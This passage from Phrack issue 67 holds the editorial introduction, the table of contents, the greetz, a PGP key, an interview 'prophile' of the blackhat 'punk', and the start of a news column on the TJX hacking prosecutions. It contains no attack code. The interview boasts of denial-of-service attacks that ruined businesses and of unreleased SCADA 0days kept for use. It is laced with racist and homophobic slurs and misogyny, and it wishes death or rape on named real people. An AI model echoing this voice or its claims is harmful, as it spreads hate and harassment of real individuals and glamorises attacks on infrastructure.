==Phrack Inc.== Volume 0x0e, Issue 0x43, Phile #0x01 of 0x10 |=----------------------------------------------------------------------=| |=--------------------------=[ Introduction ]=--------------------------=| |=----------------------------------------------------------------------=| |=----------------------=[ By The Phrack Staff ]=-----------------------=| |=----------------------------------------------------------------------=| |=----------------------=[ November 17, 2010 ]=-----------------------=| |=----------------------------------------------------------------------=| "The greatest trick the Devil ever pulled was convincing the world he didn't exist" --- Verbal Kint It's 1.00 a.m., nobody hits this secondary road. Heck, I'm almost sure half of it doesn't have a line to remind you that you should share it with upcoming cars. It's raining, but not too hard. I'm going home. It's Tuesday. What the hell am I doing out here, half an hour from home, slowly driving under the rain? It's 1.05 a.m., I know this road, I know this feeling, I recognize the shivering. I let it flow. Turn off the music, I want silence. It's 2.00 a.m., nobody hits this machine at this time of the day. Logs track me, but I'll clean them. I know this road, I know this feeling, I recognize the shivering. Turn on the music, the game is on. I'm sure someone else is around here, someone else has seen this # before. "I'll fuck you if you don't fuck me first, sir". Fair enough, this is the rule. I'll go to sleep afterwards. I'm meeting some friends and I've to take a train tomorrow. I'll sleep on the couch of someone I've never seen before, yet I know him well. It's 1.00 a.m., 10 years later. It's a GPG email from the guy that once offered me a couch. Then another time. I can count the times I've seen him in person on two hands, but I would overflow a 'short' counting the words we exchanged. We meet again, thought you disappeared. Things change, indeed. Life gave us something to lose and we are holding on it. We lost people, money, opportunities, that's why we hold on. Once a hacker, forever a hacker, right? Let's finish this code. Let's visit this city. It's 2.00 a.m., today. Nothing in this story, in this Intro, is real. I wasn't there, this is not me. This is just a stream of ASCII characters. Someone out there pulled a great trick and convinced the world that security was a cool business. Someone is pulling even greater tricks and makes money out of his ignorance living on others slightly bigger ignorance. Somewhere, a crackdown on some kids proves to be necessary to keep the 'mistery' alive, to keep the bandwagon going. Someone spies on former fellow friends, 'cause that's worth millions. Everybody is happy and we slowly fade away. Away, towards a new Underground. "I'll fuck you if you don't fuck me first, sir". If you are shivering, if you have been there, if you feel it, you know what I mean. PHRACK may die. Groups may die. Things as we know today may die. The great trick might actually seem to work -- goodbye Underground, welcome Security Industry. Not too fast. "Once a hacker, forever a hacker, right?" The Game is on. -----( Phrack Issue #67 )----- It's with incredible pleasure that we present you our newly released issue: ______ _ _ ______ _______ _______ _ _ _ _ _______ ______ (_____ \(_) (_|_____ \(_______|_______|_) | | _| U |_(_______|______) _____) )_______ _____) )_______ _ _____| | (_ _)______ _ | ____/| ___ | __ /| ___ | | | _ _) _| O |_| ___ \ / ) | | | | | | | \ \| | | | |_____| | \ \ (_ _) |___) ) / / |_| |_| |_|_| |_|_| |_|\______)_| \_) |_n_| |______/ (_/ - By the community, for the community. - But wait ... the release date ... it sounds familiar ... OMFG!!! \\\ , \ `| ) ( .-""-. | | /_ { '. | | (/ `\ } ) | | ^/ ^`} { \ \ \= ( { ) \ \ '-, { {{ \ \_.' ) } ) \.-' ( ( /'-.'_. ) ( } \_( { _/\ ) '--' `-;\ \ _.-' / / / <\/>_.' .' / / <\/>/. ' /<\// / _ |\`- _ . -/| - _- ` _.-'`_/- | \ - - - - \\\ }`<\/> <\/>`{ { -<\/>_<\/>_<\/>- } } { <\/>. <\/> {`<\/> <\/>`} } -<\/>_<\/>_<\/>_<\/>- { { } } } { H A P P Y { } } { 25th { <\/> <\/> B I R T H D A Y `<\/> <\/>' jgs -<\/>_<\/>_<\/>_<\/>_<\/>- Yes. That's right friends. This 67th issue is the celebration of Phrack's 25th birthday. Happy birthday Phrack! -----( Coming from the past )----- Once upon a midnight dreary, while I pondered, weak and weary, over many a quaint and curious volume of forgotten lore... Hello Cyberpals. It's your old friend Mike Schiffman AKA route AKA daemon9. *Cyberhug!* It sure has been a long time! Well I'll be! You guys all look the same, young and eager and hungry... Me? I'm still here, just older and grayer and bit less conspicuous. Ok, I'll say it -- I'm downright honored that you crazy rascals still remember me. It sure has been many a fortnight that I've been in this business. I mean, back in 1994, when I started poking around the scene in I was just a little dork who use to work out a lot and bleach my hair white. Sure I was probably the first muscle-bound white-haired guy with giant computer chip tattoo on his back who had this tireless thirst for computers and hacking and writing all sorts of Usenet posts and papers -- but there would legions more to come... Now in 2010 I'm a much bigger and more experienced dork. It's more than 16 years later. I have many more tattoos and the hair is getting white all by itself. And I reminisce... I look back and reflect on those days. Some of the stuff I use to do... My comp.security Usenet posts. "The Infinity Concept" e-zine, the precursor to my Phrack editorial days. My netcom.com .plan file. The PGP Attack FAQ. I remember getting owned. I remember the first time my phones got done up and you miscreants forwarded my calls to bridge and told people I had died of AIDS. I remember my girlfriend at the time being scared shitless of what was next. I remember my dox getting dumped to #phrack. I remember u4ea threatening to insert my SSN into the NCIC. I remember Bane and u4ea calling my house repeatedly. I also remember pictures of u4ea cross-dressing. I remember Bane getting backhanded by Synapse at Defcon 4. I remember Special Agent Peter Trahon and his partner who looked and sounded like Sargent Slaughter from GI JOE both from the San Francisco FBI Computer Crime task force picking me in a late model Crown Victoria and taking me to Max's Opera Cafe in Walnut Creek, CA and shaking me down for dirt on other cyber-dorks they were investigating... I remember teardrop. I remember Loki. I remember TQBF telling me that I had better be real careful in releasing the technique/code of ICMP covert channel tunneling as I was "stepping on active people's toes"... I remember hooking an old landline phone up to my neighbor's wiring to call him and discuss it... I remember Carolyn Meinel... And her daughter Virginia at Defcon 5. I remember Eric Bloodaxe tapping me to be a Phrack editor a long with Voyager and Redragon. I remember overshadowing them and bringing my own editorial team onboard... I remember how awesome it was to be a Phrack Editor. I remember how awesome Phrack was. How amazing it still is. Kudos to the current editorial team for keeping it alive, and here's to another 25 years. Come find me then, and prophile me. XOXO Scene, MS AKA Route AKA daemon9 -----( What you were waiting for )----- Telling you that we're proud to release this issue would be an euphemism for many reasons including, and that is the most important, the pleasure you will have while reading it. Oh and by the way, we apologize for the wait ... 08:21 | --->| su [~su@201.6.x.y] #phrack 08:23 | --->| arr[][] [arr@fledge.z.org] #phrack 08:29 | su | halfdead, are you having trouble in man gcc this time? is that why phrack's issue is so late? 08:30 | Dreg | wtf 08:30 | @bab00n | hoho Double. No. Triple private joke. You may have waited a long time but at least we made it before ZF #06 ;> $ cat p67/index.txt <--------------------------( Table of Contents )--------------------------> 0x01 Introduction ....................................... Phrack Staff 0x02 Phrack Prophile on punk ............................ Phrack Staff 0x03 Phrack World News .................................. EL ZILCHO 0x04 Loopback (is back) ................................. Phrack Staff 0x05 How to make it in Prison ........................... TAp 0x06 Kernel instrumentation using kprobes ............... ElfMaster 0x07 ProFTPD with mod_sql pre-authentication ............ FelineMenace 0x08 The House Of Lore: Reloaded ........................ blackngel 0x09 A Eulogy for Format Strings ........................ Captain Planet 0x0a Dynamic Program Analysis and Software Exploitation . BSDaemon 0x0b Exploiting memory corruptions in Fortran programs .. Magma under UNIX/VMS 0x0c PHRACKERZ: Two Tales ............................... Antipeace & The Analog Kid 0x0d Scraps of notes on remote stack overflow ........... pi3 exploitation 0x0e Notes Concerning the Security, Design and .......... The Philosopher Administration of Siemens DCO-CS Digital Switching Systems 0x0f Hacking the mind for fun and profit ................ lvxferis 0x10 International Scenes ............................... various <-------------------------------------------------------------------------> Have you ever noticed how some issues seemed to have a thematic? Consider for example p66. There are 4 papers dealing with heap exploitation. Now take p63. 5 papers are about (anti)reverse engineering and binary manipulation techniques and p62 clearly has a Windows color. Weird, isn't it? Coincidence? Bias in the uniform distribution of hacking playgrounds? I'll let you draw your own conclusions. For this issue, with no doubts, the focus is on userland exploitation. Did you really think that you had seen everything? Well how about debugging some heap? While FelineMenace gives you tricks using an usual practical case (hint: don't miss the source code), blackngel explains in detail the House Of Lore technique. Having troubles with fortify? Go read Captain Planet's excellent paper on format bugs as well as pi3's notes about cookies. It might be handy. Exploiting bugs is cool but finding them is de facto mandatory. That's when BSDaemon's paper comes to play. Read it and learn about how to instrument programs. Now what about a new playground? Discover the joy of Fortran hacking with Magma. Oh btw he may just have lost it you know... Missing kernel fun? Why not reading ElfMaster's paper. You'll certainly learn a bit of useful things, truly. Missing the good old phreaking days? Thank The Philosopher for his contribution (you made us crazy man !@#) and go learning about old school DCO-CS hacking. The best for the end. We have the luck to have no more than 4 non technical papers for this issue. You don't care? Fucking idiot, go away. Though we already thanked them, let us highlight EL ZILCHO, TAp, Antipeace, The Analog Kid, lvxferis & the anonymous contributors of the "International Scenes" phile. Phrack is without a doubt one of the most technical source of knowledge of the whole hacking scene thanks to its writers. But the most important aspect is not the technical one. Nowadays there are lots of impressive sources of information (blogs, books, conferences) freely available on Internet. However they all lack a soul. Phrack has a spirit and that's its true power. Now as a demonstration of the so-called spirit, we have the brilliant work of EL ZILCHO. Tired of the crap published on zdnet? Then have a taste of the Phrack World News. Eager to learn about life experiences? TAp is your man with one of the most fascinating papers of this issue. You should also consider alternative literature with lvxferis' paper. Ahah. Oh and if you're just passing by, attracted by the hacking culture but not yet ready/able to embrace it then Phrackerz paper is for you. It should bring you answers. -- The Phrack Staff Ps: Oops sorry to forget o_O. It came to our attention after Pipacs' profile publication in p66 that whitehats profile were the most wanted one. Unfortunately Theo was already on holidays [1] when we needed to start the interview. Sorry guyz ;> Have fun anyway with punk! [1] http://kerneltrap.org/mailarchive/openbsd-misc/2010/8/13/6186 -----( GreetZ for issue #67 )----- As always and because our staff would have done nothing but shit without them, we'd like to thank (in no particular order)... - route/daemon9: still able to make a kickass intro ;) - The Analog Kid: the spirited kid - nullcon guyz: nice people, visit their great country! - EL ZILCHO: fuck1ng great job! - TAp: peace bro :> - ElfMaster: yet another kernel hax0r ;) - lvxferis: who is this guy??? - FelineMenace: the LOLCats team counterattacks ;-) - spacewalker: supportive & gifted belgian bro - blackngel: malloc's worse enemy - Captain Planet: fmt bugs' worse enemy (lake of inspiration detected) - argp & huku: kudos for kickass answers in no time - BSDaemon: oi. Tudo bom? - punk: the whitehat k1ll3r - the VX scene: thanks for the support & various exchanges over past months. Special thanks to izee, herm1t and EOF writers. - Magma: take your pills gramps - The Philosopher: well done - antipeace: ~_o - pi3: Hi bulba! (oops wrong one) - spy: our IRC bot - halfdead: su said you contributed on IRC ;) - the circle: kudos for your past work. ...for their contributions and support. Touching isn't it? But so true :-) -----( Phrack Magazine's policy )----- phrack:~# head -20 /usr/include/std-disclaimer.h /* * All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue. * * * Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. * * * Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors. * These opinions do not necessarily represent those of the Phrack Staff. */ -----( Contact Phrack Magazine )----- < Editors : staff[at]phrack{dot}org > > Submissions : staff[at]phrack{dot}org < < Commentary : loopback[@]phrack{dot}org > > Phrack World News : pwned[at]phrack{dot}org < Submissions may be encrypted with the following PGP key: (Hint: Always use the PGP key from the latest issue) -----BEGIN PGP PUBLIC KEY BLOCK----- Version: PHRACK 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 =cK7U -----END PGP PUBLIC KEY BLOCK----- ==Phrack Inc.== Volume 0x0e, Issue 0x43, Phile #0x02 of 0x10 |=----------------------------------------------------------------------=| |=------------------------=[ PHRACK PROPHILE ON ]=----------------------=| |=----------------------------------------------------------------------=| |=------------------------=[ punk@phrack.org ]=-----------------------=| |=----------------------------------------------------------------------=| |=---=[ Specifications Handle: punk AKA: ihaq Handle origin: Feelin' lucky, punk? Produced in: Probably the missionary position. Urlz: HTTP://WWW.EROWID.ORG Computers: Intel p75, Intel P4, iMac 20", MacBook Pro 15.4" Creator of: Amnesia - The nightmare you forget exists Member of: The SYNDICATE, 2l8, Project CASSOULET, formerly Ac1dB1tch3z Admin of: *.com, The LAB Projects: Amnesia - portable FreeBSD rootkit Projekt Mayhem - like everyone else with a cool hat Project CASSOULET!@# Codez: Amnesia - The most portable kernel module backdoor ever? Opium - Attempt at a functional & portable solaris kit. xlib.c - Xlib ENV overflow exploit from back in the day with grsux bypass. vtesto - Full in-memory backdooring & intrusion. omelette.c - Old eggdrop asynchronous DNS overflow. Active since: 1997 Inactive since: Whenever the drugs kill me. |=---=[ Favorites Actors: John Travolta, Samuel L. Jackson, Johnny Depp, Riley Evans, Lexi Belle, Sash Grey, Eva Angelina. Films: Pulp Fiction, Fight Club, Fear and Loathing in Las Vegas Authors: Albert Hofmann Articles: p49-14, p53-5, p55-8, p55-12, p56-5, p60-7, p60-10, p66-8 p56-14, p57-8, p57-9, p58-4, p58-7, p58-8, p59-7, p61-6 Meetings: I don't go to AA nor NA Sex: Wild and dirty Books: LSD: My problem Child, PIHKAL, TIHKAL Novel: Your browser cache Meeting: Rita Marley Music: Jesselyn, Marcel Woods, Mark Knopfler, Pink Floyd, Bush, Motorpsycho, Mudvayne, Tiesto, Johan Gielen, Jefferson Airplane, Leftfield, The Prodigy, Infected Mushroom. Alcohol: Anything > 21 years and beer. Also, red wine as it turns innocent girls into sluts Cars: Bugatti veyron Girls: Should look and act like pornstars Foods: As long as it doesn't bleed I like: Hacking, drugs, sex and lulz I dislike: Whitehat faggots |=---=[ Your current life in a paragraph Crazy. Always hacking, always traveling. Living like a vampire on meth. The amount of drugs in my bloodstream is the envy of every pharmacy on earth. Still trying new things, hungry for knowledge. Living on the edge is the only way to live. |=---=[ First contact with computers A mysterious black box appared in my parents house as a kid, shiny Intel p75, with a whopping 16MB of ram + A monster 850MB disk. Much to my dismay, it and the dialup connection it had were both password protected. Now look what happened... |=---=[ Passions : What makes you tick The puzzle of how to ruin your life with computers. The race against the admins. The art of exploitation, the thrill of the hunt. That said, nothing beats ruining someones life with their own computers. |=---=[ Entrance in the underground As so many hackers before me, it was in the dark ages of EFnet, before chanfux and while some opers actually weren't flaming homosexuals. I stepped out of the shadows with 2l8.txt after many years of largely ignoring the scene. route still "had time to manage that place". I joined Ac1dB1tch3z and never looked back. |=---=[ Unix or Windows? UNIX. I would rather have my balls dragged out thru my ass and stuffed in my fucking mouth rather than being stuck with something that is designed to break, not to mention spy on you. I am probably always will be a FreeBSD guy. There simply is no matching the power and agility of FreeBSD. As far as laptop/desktop OS is concerned I like OSX with it's FreeBSD core. It's not perfect, but it works, and looks pretty too. |=---=[ Which research have you done or which one gave you the most fun? Learning to know the FreeBSD kernel like it was my girlfriend's pussy. For most of you this would be your mom's vagina or your dad's meat pole. |=---=[ Personal general opinion about the underground The truly dark underground is awesome. The whitehat crowd who think they are underground make me sad. Do us all a favour and commit hara-kiri, whitehat maggots. I am truly impressed with the level of skill within the blackhat underground. The leaders of the world would crumble in fear if they had any idea whatsoever about the extent of this. It's only too bad that all the whitehat posers, who's only "skill" is publishing other peoples work and posting XSS to Full-Disclosure. Why the fuck would anyone post anything to FD except for lulz & phear. This is beyond me. |=---=[ Memorable Experiences/Hack Putting gay porn on EFnet.org, only to realize everyone thought it was the pix from the oper convention... watching these morons scramble in fail, lol @ dns cache poison theory. P.S.: EFnet NS still vuln to file editing attack. Joining Ac1dB1tch3z, the most awesome phorce in nature. Owning my own ISP at age 14. Taking out an entire block of businesses using land.c, only later to realize they all went bankrupt. Figuring out nonexec stack and heap bypass techniques. Rm'ing idiot #phrack ops from existance. Pissing off the vice president of South Africa. Pissing on the squad car first time I was arrested. Getting my ass handed to me by susieq after not having hacked for like a year. Linking in hacked up EFnet servers for teh lulz. Being too high on mushrooms to get my ass to HAR opening day. |=---=[ Memorable people you have met You can meet people now? I thought that was what faceblog was for. Al Gore - The biggest hypocrit alive...wish I had an axe.. Krzee - Crazy nigger flew all the way to NL just to party with me. Chris - Made Miami tolerable. Grimey & Lance - Viva Montreal!@# nomed - mah nl bro. |=---=| Memorable places you have been svn.freebsd.org - best source kood cookie.efnet.nl aka irc.efnet.nl - best online chats irc.narc.net - the name says it all ircd-hybrid.org - hello world Chelsea C.'s inbox - omg. you dirty thing |=---=[ Disappointing people you have met I don't socialize with failurez, but maybe I can interest you in sum CASSOULET? [=---=[ Can you be a hacker/blackhat without hacking anything Can you be a crack addict without smokin' da rawkz? No. That said, I believe alot of people have the hacking spirit and just dont know it. The hacker mindset is prevailant in many people, too bad some people use it for the wrong purpose or ignore it completely. If you see the light at the end of the tunnel, you are looking the wrong way. |=---=[ Ac1dB1tch3z experience It was a damp day, EFnet had just been raped and violated like a hooker in the midst of an etherbinge mixed in with ghb and rohypnol, yes, a dream for most of you, I know. A friend of mine approached me about joining some gathering of hackers to take of the world. This was my entrance into Ac1dB1tch3z. It took only a few minutes to realize the magnitude of what I had become part of. Even hardened hackers I had known for ages would come, see the constant scroll of mad hax og run away with the tails between their legs. They say ignorance is bliss, but ignoring that people that have been doing reliable remote ring 0 exploits since 2001 is just retarded. I grew alot during my time in AB, being around people who actually have a clue and are trustworthy was really useful to me. Suddenly I had access to pick the brains of the best hackers on the planet. Developing weaponized exploits was part of daily routine. Creating and proving new backdooring concepts was considered a passtime. Owning was considered a way of life, and that usually meant owning whitehat niggerz. The daily brainstorming about 0day ideas is probably what I miss the most. |=---=[ Wikileaks? Julian Assange? Adrian Lamo? I think wikileaks is doing important work, by that i mean pissing on the hypocracy that is the U.S. Army. Assange is a weirdo. Who knows if he raped and or molested those women. I would have. Now Adrian, he's a real class act. Eternal attention seeker, liar and bullshitter. He would do humanity a favour by jumping in a pool of liquid lava. |=---=[ Memorable places you have been Amsterdam. Montreal. Cities of Sin. These are the kind of places you will find whitehats dressed as female prostitutes to serve your perverted desires, or the place to smoke a good joint and eat some mushrooms with nekkid sluts running around. |=---=[ Things you are proud of Ruining whitehat and blackhat posers lives. Being the darkest blackhat alive. Skydiving. Licking an entire sheet of LSD. Crashing 2 cars before i was 7. Holding the world record for most consumed drugs. Not yet murdering abh. Being the bigger man and not blowing up FD archives. Pissing off the vice prez of South Africa. Having had my own private beach. Not watching TV. Cutting someones finger off in 3rd grade. Growing A+ weed. Restraining from physically beating whitehats into a pulp. Still being sane after 35grams of mushrooms. |=---=[ Things you are not proud of Realizing that people like kingcope exist and are allowed to walk around without having their fingers cut off and columbian necktie hanging out their throats. Knowing Osmosis had nude pix of Estella, after I found out she used to be a dude. Not knowing that Joanna used to be a dude, until recently. Not printing 1k t-shirts with dan kam's unpublished gmail pass on it for HAR.. |=---=[ Opinion about dark underground. Still exist? Where? It very much does. Whitehats would have you believe otherwise, probably because their world would crumble if they had any clue about the magnitude of it. I could tell you where, but I would have to kill you. |=---=[ Most impressive hackers sd, sauron, anakata, xtix, twiz, sgrakkyu, susieq, scut, halfdead, the_uT, blkho, halvar, duke (even tho iDefense sux). |=---=[ Opinion about security conferences You might as well go turn yourself in. Fed-cons. Only reason to go to any of them is to hand Dan Kaminsky his inbox. P.S.: Dan, your girlfriend is fucking psycho man, I heard she tried to violate loophole... Don't fight your own battles? However, if i had to choose one, it would be Blackhat/defcon: Nowhere else on earth can you piss on that many whitehats in one go, not to mention epic shit like getting lh to hand Dan Kam is own funeral. |=---=[ Opinion on Phrack Magazine 1985' ? 1995' ? 2005' ? '2009 ? Cool. Good. wtf?!. Getting there. |=---=[ What you would like to see published in Phrack ? More articles about breaking the rules of the matrix. More innovative advanced exploitation techniques. More hax news, more ridicule, route got that part right. More whitehat rape. |=---=[ Shoutouts to specific (group of) peoples Ac1dB1tch3z, zf0, h0no, UIA, #phrack ops, everyone@laggy, alloy, LaMaLo, the rest of 2l8, mad props to the ILF. |=---=[ Flames to specific (group of) peoples Whitehats can lick my nutz, spender smokes crack. I hope Dan Kaminsky dies from autoerotic asphyxiation. I know Ben Hawkes will get gangraped soon. Well deserved, too. Fucking bug killer. Also: ret_ join your dead family. Alan..I hope the irish find you. |=---=[ Quotes I wouldn't recommend sex, drugs or insanity for everyone, but they've always worked for me. In a closed society where everybody's guilty, the only crime is getting caught. In a world of thieves, the only final sin is stupidity. The Edge... there is no honest way to explain it because the only people who really know where it is are the ones who have gone over. Computer games don't affect kids; I mean if Pac-Man affected us as kids, we'd all be running around in darkened rooms, munching magic pills and listening to repetitive electronic music. |=---=[ Anything more you want to say Hackers always w1n. And by hackers, I mean blackhats. This fuckton of scada 0days isn't going anywhere anytime soon, but you can be sure we will put them to good use. I would also like to thank the Phrack staff for this honor. --------[ EOF ==Phrack Inc.== Volume 0x0e, Issue 0x43, Phile #0x03 of 0x10 |=--------------------------------------------------------------------=| |=-----------------------=[ Phrack World News]=-----------------------=| |=-------------------------=[ by EL ZILCHO ]=-------------------------=| |=----------------------=[ elzilcho@phrack.org ]=---------------------=| |=--------------------------------------------------------------------=| 1. The TJX Case and the Longer Arm of the Law 2. Stuxnet, Cyberwar, Hacktivism and Political Hacking 3. Wikileaks and Whistleblowing 4. Scene Events: the Final Word ------------------------- --[ 1. The TJX Case and the Longer Arm of the Law When the going gets weird: The TJX crew / Probation for the narqs, tough sentences for the hard luck crowd / The longer-reaching arm of the law Computer crime and hacking have always made for uncomfortable bed fellows, splitting hackers into two general camps; The laissez-fair consideration of those who know they commit several technical crimes before even getting out of bed in the morning, and those whose fear of the law drives them, essentially, straight -- condemned to endless nights in front of a debugger with nary an unauthorized rootshell to be seen. So where to draw the fuzzy line under the TJX crew, from the manipulating Gonzales, who narqed out #phrack opers early in 2003, to the erstwhile seven-foot tall computer programmer the_uT who faces two years in the cage and a $172.5 million restitution for the writing of a simple computer program that most of us could have written at age fifteen, under the influence of ketamine or not? PWN corespondents have viewed the original source code to 'blabla' and can attest that it consists of nothing more than a read loop from a raw socket on a high port outputting, unformatted and unfiltered, data to a file. To say that tcpdump is a far more sophisticated piece of software for data thiefing is not an exaggeration. At least we can say with a comforting certainty that the fine old art of narqing like a pro will still get you out off the hook in times of phear and stress. As many old-timers will attest, narqing has been a fine defensive tradition among hackers over the years, with many well-loved figures of hacker mythology, from Chris Goggans to Agent Steal, being firm believers in the practice. The TJX case has been a prominent reminder of the efficacy of the ancient technique of daubing one's mates in, with all sides planting knives between shoulder blades with sickening alacrity and producing some truly Olympic-grade scores in the Freestyle 100m Narq -- to wit, among others: * Patrick 'eckis' Toey who faced a maximum sentence of twenty-two years, reduced to a paltry five years by merit of supplying 'extensive cooperation' to the authorities. * Breakout act Jeremy 'horse addict' Jethro -- evidently the star of the case -- managing to not only narq out everyone he knew, but then managing to find his Saviour in Our Lord Jesus Christ AND being fined less than what he actually earned for his crimes (thus earning a nice little profit); He also managed to get his sentence commuted to probation, on top of everything else! Once again, this is solid proof that God is indeed on the side of the just. * Albert 'soupnazi' Gonzales -- the sole failure here, scoring miserably by still receiving a massive twenty-year sentence despite having implicated everyone he knew up to and including his own grandmother -- and that's just for starters. The most disconcerting element in the entire show so far for anyone in any way involved in any sort of criminal activity (or, indeed, anyone who involves themselves in anything anywhere near anything resembling criminal activity), is the startling comaraderie and friendly interaction between international agencies - particularly Interpol and the FBI. Especially the FBI. Recent international busts involving novel interaction between agencies has lent heavy weight to previously unfounded concerns of privacy advocates. The mere idea of a foreign national's being arrested overseas and renditioned/transferred to the custody of American civilian agencies purely on the basis of American testimony and evidence is enough to turn the stomachs of anyone, and yet it seems to have gone largely under the radar -- especially among American Citizens. The pseudo-criminal actions necessitated by the various agencies involved in order to bring down Gonzales would stagger even the most ardent Republican waterboarder. To wit, the hard drives belonging to Ukrainian carder Maksym 'Maksik' Yastremskiy were cloned during his trip to Dubai and yet again when he was coerced into visiting someone in Turkey (all the while while US agencies tried to tote the party line that they caught him while he was taking "vacation" -- conveniently ignoring the fact that they lured him to visit) and his movements tracked throughout Europe and Asia over an extended period of time. We can be sure that Interpol had not the gumption nor Ukrainian officials the interest (or resources) to bring about this level of interplay. With the evidence in hand, surely only the FBI can be to blame? The Turkish officials got to crow about a 30 year prison sentence -- in a Turkish prison, no less -- and the US got to cross one more name off their "to do" list, case closed, job done -- success all around. Further confirmation of such a hearty and hale level of cooperation was provided just this past October by the FBI, who affirmed that the break-up of a major Zeus botnet ring was the result of an "unprecedented" partnership between the FBI and police forces around the world including the UK's Metropolitan Police, the Security Service of Ukraine (SBU) and the Netherlands Police Agency. So far the international Operation Trident Breach effort has yielded more than 150 arrests across the US, the UK and Ukraine, the FBI said. One can assume that's only "so far" and that once the narq ball gets rolling, yet more waves of arrests -- and yet more international cooperation -- will commence in earnest. Perhaps you are wondering what this has to do with you, at this point. Perhaps you ARE merely doing your job as a whitehat, researching these transglobal "criminal conspiracies", reversing malware, sticking to only machines you have permission to access, maybe even contributing to some open source projects and communicating giddily about 0day bugs on bugtraq and full-disclosure, or releasing exploit information on your twitter feed; after all, in this wired global age, the opportunities for collaboration are indeed unprecedented. But where does one's level of responsibility for the use of one's research end and begin? Dig Sklyarov and the DMCA brouhaha. Witness certain unnamed Linux distros suddenly being unwilling to allow tools such as SQL Ninja to be included in their source code repositories. At what point might YOUR code be considered a munition? At what point might your totally legitimate work as a whitehat (or greyhat, or what have you) researcher, or pentester, or even systems administrator or website developer be called into question? While it is certainly difficult to argue that putting identity thieves behind bars is a quote-unquote "bad thing", it is also difficult to refute that code itself is being seen as a munition (just as crypto was not so long ago, and probably will be increasingly so again, as time passes and the reins tighten up in only somewhat predictable ways). If you mistakenly introduce an error into your codebase at work and it creates a security hole, can you prove it was not intentional? There really are no guarantees. An overly aggressive legal system will at the very least threaten to steal time, money, resources, and quite probably your reputation. If you're very unlucky you might wind up in jail, or in trouble for something someone you know was involved in, in hopes that you will be the next hacker willing to daub in his (or her) mates to be set free, thus maintaining the 